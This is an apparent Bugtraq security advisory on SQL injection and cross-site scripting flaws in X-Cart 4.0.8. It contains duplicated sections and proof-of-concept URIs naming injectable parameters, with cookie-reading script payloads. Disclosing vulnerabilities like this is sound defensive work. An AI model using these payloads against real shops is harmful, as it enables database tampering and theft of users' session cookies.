Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities
BID:13817
Info
Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 13817 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 30 2005 12:00AM |
| Updated: | May 30 2005 12:00AM |
| Credit: | Discovery is credited to CENSORED <[email protected]>. |
| Vulnerable: |
Qualiteam X-Cart 4.0.8 |
| Not Vulnerable: | |
Discussion
Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.
Exploit / POC
Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities
An exploit is not required.
The following proof of concept URIs are available:
SQL Injection:
http://www.example.com/home.php?cat='[SQL-inj]
http://www.example.com/home.php?printable='[SQL-inj]
http://www.example.com/product.php?productid='[SQL-inj]
http://www.example.com/product.php?mode='[SQL-inj]
http://www.example.com/error_message.php?access_denied&id='[SQL-inj]
http://www.example.com/help.php?section='[SQL-inj]
http://www.example.com/orders.php?mode='[SQL-inj]
http://www.example.com/register.php?mode='[SQL-inj]
http://www.example.com/search.php?mode='[SQL-inj]
http://www.example.com/giftcert.php?gcid='[SQL-inj]
http://www.example.com/giftcert.php?gcindex='[SQL-inj]
Cross-site Scripting:
http://www.example.com/home.php?cat='><script>alert(document.cookie)</script>
http://www.example.com/home.php?printable='><script>alert(document.cookie)</script>
http://www.example.com/product.php?productid='><script>alert(document.cookie)</script>
http://www.example.com/product.php?mode='><script>alert(document.cookie)</script>
http://www.example.com/error_message.php?access_denied&id='><script>alert(document.cookie)</script>
http://www.example.com/help.php?section='><script>alert(document.cookie)</script>
http://www.example.com/orders.php?mode='><script>alert(document.cookie)</script>
http://www.example.com/register.php?mode='><script>alert(document.cookie)</script>
http://www.example.com/search.php?mode='><script>alert(document.cookie)</script>
http://www.example.com/giftcert.php?gcid='><script>alert(document.cookie)</script>
http://www.example.com/giftcert.php?gcindex='><script>alert(document.cookie)</script>
An exploit is not required.
The following proof of concept URIs are available:
SQL Injection:
http://www.example.com/home.php?cat='[SQL-inj]
http://www.example.com/home.php?printable='[SQL-inj]
http://www.example.com/product.php?productid='[SQL-inj]
http://www.example.com/product.php?mode='[SQL-inj]
http://www.example.com/error_message.php?access_denied&id='[SQL-inj]
http://www.example.com/help.php?section='[SQL-inj]
http://www.example.com/orders.php?mode='[SQL-inj]
http://www.example.com/register.php?mode='[SQL-inj]
http://www.example.com/search.php?mode='[SQL-inj]
http://www.example.com/giftcert.php?gcid='[SQL-inj]
http://www.example.com/giftcert.php?gcindex='[SQL-inj]
Cross-site Scripting:
http://www.example.com/home.php?cat='><script>alert(document.cookie)</script>
http://www.example.com/home.php?printable='><script>alert(document.cookie)</script>
http://www.example.com/product.php?productid='><script>alert(document.cookie)</script>
http://www.example.com/product.php?mode='><script>alert(document.cookie)</script>
http://www.example.com/error_message.php?access_denied&id='><script>alert(document.cookie)</script>
http://www.example.com/help.php?section='><script>alert(document.cookie)</script>
http://www.example.com/orders.php?mode='><script>alert(document.cookie)</script>
http://www.example.com/register.php?mode='><script>alert(document.cookie)</script>
http://www.example.com/search.php?mode='><script>alert(document.cookie)</script>
http://www.example.com/giftcert.php?gcid='><script>alert(document.cookie)</script>
http://www.example.com/giftcert.php?gcindex='><script>alert(document.cookie)</script>
Solution / Fix
Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities
Solution:
The vendor has confirmed these issues and released a patch to address them. The latest version of the application is not vulnerable to these issues as well. Please contact the vendor to obtain fixes.
Solution:
The vendor has confirmed these issues and released a patch to address them. The latest version of the application is not vulnerable to these issues as well. Please contact the vendor to obtain fixes.
References
Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities
References:
References:
- X-Cart Homepage (X-Cart)
- Multiple vulnerabilities in x-cart Gold (CENSORED